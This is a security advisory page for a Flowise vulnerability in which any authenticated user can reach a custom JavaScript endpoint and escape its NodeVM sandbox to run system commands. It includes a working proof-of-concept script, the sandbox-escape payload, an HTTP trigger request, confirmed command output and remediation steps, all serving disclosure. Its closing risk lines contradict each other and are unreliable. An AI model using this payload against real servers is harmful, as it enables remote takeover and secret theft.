Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-9rvc-vf7m-pgm2
No affected components available
Summary
POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.
When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.
The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.
Details
Two distinct security boundaries are violated.
1. Missing route-level authorization
packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:
router.post('/', nodesRouter.executeCustomFunction)
Other sensitive routes in the same codebase use explicit permission gates:
// packages/server/src/routes/chatflows/index.ts
router.post(
'/',
checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
chatflowsController.saveChatflow
)
Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.
2. NodeVM sandbox escape
The endpoint forwards body.javascriptFunction through the following chain:
POST /api/v1/node-custom-function
→ packages/server/src/controllers/nodes/index.ts
→ packages/server/src/utils/executeCustomNodeFunction.ts
→ packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
executeJavaScriptCode(javascriptFunction, sandbox)
→ packages/components/src/utils.ts
if !process.env.E2B_APIKEY → NodeVM fallback
→ [SINK] host process / child_process
packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:
const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY
Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.
These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.
PoC
Standalone verification (run from the repository root with E2B_APIKEY unset):
// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');
delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });
require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));
const { nodeClass: CustomFunction } = require(path.resolve(
'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));
const attackCode = `
async function f() {
const error = new Error();
error.name = Object.create(null);
return error.stack;
}
return await f().catch(e => {
const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();
});
`;
(async () => {
const node = new CustomFunction();
const result = await node.init(
{ inputs: { javascriptFunction: attackCode } },
'',
{ appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
);
console.log('[RCE OUTPUT]', result);
})();
Confirmed output:
[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...
HTTP trigger (requires a valid API key or session):
POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json
{
"javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}
Impact
Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.
The NodeVM fallback is the default for any deployment without E2B_APIKEY configured, which covers the majority of self-hosted instances.
Recommended remediation:
- Add explicit permission gating to
POST /api/v1/node-custom-functionusing the existingcheckPermissionmiddleware pattern. - Fail closed if
E2B_APIKEYis absent — do not silently downgrade to NodeVM for untrusted code execution. - Restrict this endpoint from generic API key access.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard